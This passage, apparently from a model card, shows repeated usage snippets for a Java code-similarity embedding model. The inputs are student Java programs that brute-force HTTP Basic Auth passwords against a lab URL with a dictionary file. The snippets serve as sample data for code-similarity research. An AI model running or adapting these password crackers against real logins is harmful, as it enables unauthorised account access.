           \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        